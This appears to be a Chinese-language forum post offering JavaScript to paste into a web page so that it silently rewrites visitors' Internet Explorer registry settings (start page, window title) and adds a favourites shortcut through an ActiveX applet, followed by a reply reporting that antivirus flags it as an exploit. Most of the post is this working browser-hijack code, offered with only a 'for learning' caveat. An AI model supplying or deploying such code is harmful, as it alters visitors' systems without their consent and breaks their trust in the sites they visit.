JavaScript修改註冊表的例子
將下列程式加入你的網頁,就可以修改瀏覽者IE瀏覽器的一些基本設置,如標題欄,預設首頁,收藏夾等。
注意:這種做法極易引起瀏覽者的反感,請勿隨意使用,建議僅做學習之用!
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
//設置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//設置Cookie完畢
//設置主頁
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blue-online.net/");
//修改瀏覽器的標題
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已經被修改過了 blue-
online.net");
//設置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "藍色線上--註冊表中轉站", "http://www.blue-online.net");
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>
這個文件有病毒阿。
NAV 200 掃到了,當我把這文件複製貼成
純文字文件(記事本)中就被掃到有病毒。
如下:
病毒名稱: JS.Exception.Exploit
別名:
感染: N/A
可能性: 一般
長度: 666 位元組
|